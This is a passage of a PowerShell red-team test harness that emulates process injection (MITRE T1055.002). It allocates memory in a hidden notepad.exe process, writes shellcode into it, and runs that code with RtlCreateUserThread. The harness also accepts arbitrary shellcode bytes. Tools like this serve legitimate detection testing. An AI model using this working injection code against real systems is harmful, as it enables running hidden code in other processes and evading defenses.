        0xFF,0x48,0x8B,0xE6,0x5E,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,
        0x48,0x89,0x54,0x24,0x10,0x48,0x89,0x4C,0x24,0x08,0x57,0x48,0x83,0xEC,0x10,0x48,
        0x8B,0x44,0x24,0x20,0x48,0x89,0x04,0x24,0x48,0x8B,0x3C,0x24,0x33,0xC0,0x48,0x8B,
        0x4C,0x24,0x28,0xF3,0xAA,0x48,0x8B,0x44,0x24,0x20,0x48,0x83,0xC4,0x10,0x5F,0xC3
    )

    # Offsets to the template GUID string in the above position-indepedent code
    [Int[]] $GUIDCharOffsets = @(
        0x4F6,0x4FE,0x506,0x50E,0x516,0x51E,0x526,0x52E,0x536,0x53E,0x546,0x54E,0x556,0x55E,0x566,0x56E,0x576,0x57E,0x586,0x58E,0x596,0x59E,0x5A6,0x5AE,0x5B6,0x5BE,0x5C6,0x5CE,0x5D6,0x5DE,0x5E6,0x5EE,0x5F6,0x5FE,0x606,0x60E
    )

    if ($PositionIndependentCodeBytes) {
        $PositionIndependentCode = $PositionIndependentCodeBytes
    } else {
        [Byte[]] $TestGuidChars = [Text.Encoding]::ASCII.GetBytes($TestGuid.Guid)

        # Replace the template GUID with the contents of $TestGuid
        for ($i = 0; $i -lt $GUIDCharOffsets.Length; $i++) {
            $TemplatePositionIndependentCodeBytes[([Int] $GUIDCharOffsets[$i])] = $TestGuidChars[$i]
        }

        $PositionIndependentCode = $TemplatePositionIndependentCodeBytes
    }

    $SHA256 = [Security.Cryptography.SHA256]::Create()
    $PositionIndependentCodeHash = ($SHA256.ComputeHash($PositionIndependentCode) | ForEach-Object { $_.ToString('X2') }) -join ''

    if ($ProcessAccessType -eq 'MinimumAccess') {
        # The minimum set of process access rights required to call VirtualAllocEx, VirtualProtectEx, WriteProcessMemory, and RtlCreateUserThread
        $TargetProcessAccessRights = [AtomicTestHarnesses_T1055_002.ProcessAccess] 'PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION'
    } else {
        $TargetProcessAccessRights = [AtomicTestHarnesses_T1055_002.ProcessAccess]::PROCESS_ALL_ACCESS
    }

    if ($MemoryProtectionType -eq 'ReadWriteExecute') {
        $InitialProtectionConstant = [AtomicTestHarnesses_T1055_002.PageProtection]::PAGE_EXECUTE_READWRITE
    } else {
        $InitialProtectionConstant = [AtomicTestHarnesses_T1055_002.PageProtection]::PAGE_READWRITE
    }
    #endregion

    #region Spawn a template notepad.exe process to inject into if a process ID is not specified.
    if ($ProcessId) {
        $TargetProcessId = $ProcessId
    } else {
        $ProcessStartup = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly
        $ProcessStartupInstance = Get-CimInstance -InputObject $ProcessStartup
        $ProcessStartupInstance.ShowWindow = [UInt16] 0 # Hide the window

        $ProcStartResult = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = 'notepad.exe'; CurrentDirectory = $PWD.Path; ProcessStartupInformation = $ProcessStartupInstance }

        if ($ProcStartResult.ReturnValue -eq 0) {
            $TargetProcessId = $ProcStartResult.ProcessId
        } else {
            Write-Error "Template notepad.exe process failed to start."
            return
        }
    }

    $CurrentProcessInformation = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = $PID" -Property ExecutablePath, CommandLine
    $TargetProcessInformation  = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = $TargetProcessId" -Property ExecutablePath, CommandLine
    #endregion

    #region Obtain a handle to the target process.
    Write-Verbose 'Attempting to obtain a handle to the remote process.'

    $TargetProcessHandle = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::OpenProcess(
        $TargetProcessAccessRights, # processAccess
        $False,                     # bInheritHandle
        $TargetProcessId            # processId
    );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

    if ($TargetProcessHandle -eq [IntPtr]::Zero) {
        $ErrorString = "OpenProcess failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)"

        Write-Error $ErrorString
        return
    }

    Write-Verbose 'Successfully obtained a handle to the remote process.'
    #endregion

    #region Validate that the remote process is a 64-bit process. Invoke-ATHInjectedThread is not designed to support 32-bit processes nor are there plans to.
    Write-Verbose 'Validating that the remote process is not a 32-bit process.'
    [Bool] $IsWow64Process = $False

    $IsWow64ProcessResult = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::IsWow64Process(
        $TargetProcessHandle, # hProcess
        [Ref] $IsWow64Process # Wow64Process
    );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

    if ($IsWow64ProcessResult -eq $False) {
        $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle)

        $ErrorString = "IsWow64Process failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)"

        Write-Error $ErrorString
        return
    }

    if ($IsWow64Process) {
        $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle)

        $ErrorString = "Target process is a 32-bit process. Invoke-ATHInjectedThread is only designed to inject into a 64-bit process."

        Write-Error $ErrorString
        return
    }
    #endregion

    #region Allocate sufficient space in the virtual address space of the target process
    Write-Verbose 'Attempting to allocate bytes in the remote process.'

    $TargetProcessBaseAddress = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::VirtualAllocEx(
        $TargetProcessHandle,                 # hProcess
        [IntPtr]::Zero,                       # lpAddress
        $PositionIndependentCode.Length,      # dwSize
        0x3000,                               # flAllocationType
        $InitialProtectionConstant            # flProtect
    );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

    if ($TargetProcessBaseAddress -eq [IntPtr]::Zero) {
        $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle)

        $ErrorString = "VirtualAllocEx failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)"

        Write-Error $ErrorString
        return
    }

    Write-Verbose 'Successfully allocated bytes in the remote process.'
    #endregion

    #region Write position-independent bytes to the process space of the target process
    Write-Verbose 'Attempting to write bytes into remote process.'
    $NumberOfBytesWritten = 0

    $WriteProcessMemoryResult = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::WriteProcessMemory(
        $TargetProcessHandle,                 # hProcess
        $TargetProcessBaseAddress,            # lpBaseAddress
        $PositionIndependentCode,             # lpBuffer
        $PositionIndependentCode.Length,      # nSize
        [Ref] $NumberOfBytesWritten           # lpNumberOfBytesWritten
    );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

    if ($WriteProcessMemoryResult -eq $False) {
        $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle)

        $ErrorString = "WriteProcessMemory failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)"

        Write-Error $ErrorString
        return
    }

    Write-Verbose 'Successfully written bytes into remote process.'
    Write-Verbose "Number of bytes written to remote process: $NumberOfBytesWritten"
    #endregion

    #region Set the remote memory page to PAGE_EXECUTE_READ from PAGE_READWRITE if -MemoryProtectionType is set to ReadExecute
    if ($MemoryProtectionType -eq 'ReadExecute') {
        Write-Verbose 'Setting the remote page protections to PAGE_EXECUTE_READ.'
        $OldProtection = 0
        $TargetAllocationPageProtect = [AtomicTestHarnesses_T1055_002.PageProtection]::PAGE_EXECUTE_READ

        $VirtualProtectExResult = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::VirtualProtectEx(
            $TargetProcessHandle,                 # hProcess
            $TargetProcessBaseAddress,            # lpAddress
            $PositionIndependentCode.Length,      # dwSize
            $TargetAllocationPageProtect,         # flNewProtect
            [Ref] $OldProtection                  # lpflOldProtect
        );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

        if ($VirtualProtectExResult -eq $False) {
            $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle)

            $ErrorString = "VirtualProtectEx failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)"

            Write-Error $ErrorString
            return
        }

        Write-Verbose 'Successfully set the remote page protections to PAGE_EXECUTE_READ.'
    } else {
        $TargetAllocationPageProtect = [AtomicTestHarnesses_T1055_002.PageProtection]::PAGE_EXECUTE_READWRITE
    }
    #endregion

    #region Establish WMI event to detect when template position-indepedent code executes
    # Remove any stale events
    Get-Event -SourceIdentifier 'ChildProcSpawned' -ErrorAction SilentlyContinue | Remove-Event
    Get-EventSubscriber -SourceIdentifier 'ProcessSpawned' -ErrorAction SilentlyContinue | Unregister-Event

    # Only run the following if -PositionIndependentCodeBytes is not supplied - i.e. the built-in template code is to be used.
    if (-not $PositionIndependentCodeBytes) {
        # Trigger an event any time powershell.exe has $TestGuid in the command line.
        # This event should correspond to the mshta or rundll process that launched it.
        $WMIEventQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'powershell.exe' AND TargetInstance.CommandLine LIKE '%$($TestGuid)%'"

        Write-Verbose "Registering PowerShell template command-line WMI event using the following WMI event query: $WMIEventQuery"

        $null = Register-CimIndicationEvent -SourceIdentifier 'ProcessSpawned' -Query $WMIEventQuery -Action {
            $SpawnedProcInfo = [PSCustomObject] @{
                ProcessId = $EventArgs.NewEvent.TargetInstance.ProcessId
                ProcessCommandLine = $EventArgs.NewEvent.TargetInstance.CommandLine
            }

            New-Event -SourceIdentifier 'ChildProcSpawned' -MessageData $SpawnedProcInfo

            Stop-Process -Id $EventArgs.NewEvent.TargetInstance.ProcessId -Force
        }
    }
    #endregion

    #region Start a thread in the remote process
    Write-Verbose 'Attempting to create a thread in the remote process.'

    [IntPtr] $RemoteThreadHandle = [IntPtr]::Zero
    [IntPtr] $CliendId = [IntPtr]::Zero

    $RtlCreateUserThreadResult = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::RtlCreateUserThread(
        $TargetProcessHandle,      # ProcessHandle
        [IntPtr]::Zero,            # SecurityDescriptor
        $False,                    # CreateSuspended
        [IntPtr]::Zero,            # StackZeroBits
        [IntPtr]::Zero,            # StackReserved
        [IntPtr]::Zero,            # StackCommit
        $TargetProcessBaseAddress, # StartAddress
        [IntPtr]::Zero,            # StartParameter
        [Ref] $RemoteThreadHandle, # ThreadHandle
        [Ref] $CliendId            # ClientID
    )

    # to-do: change this. Actually obtain the thread ID with GetThreadId
    $ThreadId = $RemoteThreadHandle

    if ($RtlCreateUserThreadResult) {
        $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle)

        $ErrorString = "RtlCreateUserThread failed. Error code: 0x$($RtlCreateUserThreadResult.ToString('X8'))."

        Write-Error $ErrorString
        return
    }

    Write-Verbose 'Successfully created a thread in the remote process.'
    #endregion

    #region Wait for template powershell.exe to spawn and obtain process context
    # Only run the following if -PositionIndependentCodeBytes is not supplied - i.e. the built-in template code is to be used.
    if (-not $PositionIndependentCodeBytes) {
        $ChildProcSpawnedEvent = Wait-Event -SourceIdentifier 'ChildProcSpawned' -Timeout 10
        $ChildProcInfo = $null

        if ($ChildProcSpawnedEvent) {
            $TestSuccess = $True

            $ChildProcInfo = $ChildProcSpawnedEvent.MessageData

            $SpawnedProcCommandLine = $ChildProcInfo.ProcessCommandLine
            $SpawnedProcProcessId   = $ChildProcInfo.ProcessId

            $ChildProcSpawnedEvent | Remove-Event
        } else {
            Write-Error "powershell.exe child process was not spawned."
        }

        # Cleanup
        Unregister-Event -SourceIdentifier 'ProcessSpawned'
    }
    #endregion

    [PSCustomObject] @{
        TechniqueID = 'T1055.002'
        TestSuccess = $TestSuccess
        TestGuid = $TestGuidToUse
        InjectedCodeBytes = $PositionIndependentCode
        InjectedCodeHash = $PositionIndependentCodeHash
        SourceProcessId = $PID
        SourceExecutablePath = $CurrentProcessInformation.ExecutablePath
        SourceCommandLine = $CurrentProcessInformation.CommandLine
        TargetProcessId = $TargetProcessId
        TargetExecutablePath = $TargetProcessInformation.ExecutablePath
        TargetCommandLine = $TargetProcessInformation.CommandLine
        TargetProcessAccess = $TargetProcessAccessRights
        TargetProcessAccessValue = $TargetProcessAccessRights.value__
        TargetBaseAddressHex = $TargetProcessBaseAddress.ToString('X16')
        TargetAllocationPageProtect = $TargetAllocationPageProtect
        TargetAllocationPageProtectValue = $TargetAllocationPageProtect.value__
        TargetThreadId = $ThreadId
        TargetChildProcessId = $SpawnedProcProcessId
        TargetChildProcessCommandLine = $SpawnedProcCommandLine
    }

    # Kill the template notepad.exe process
    if (-not $ProcessId) {
        Stop-Process -Id $TargetProcessId
    }

    # Release handles appropriately
    $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($RemoteThreadHandle)
    $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle)
}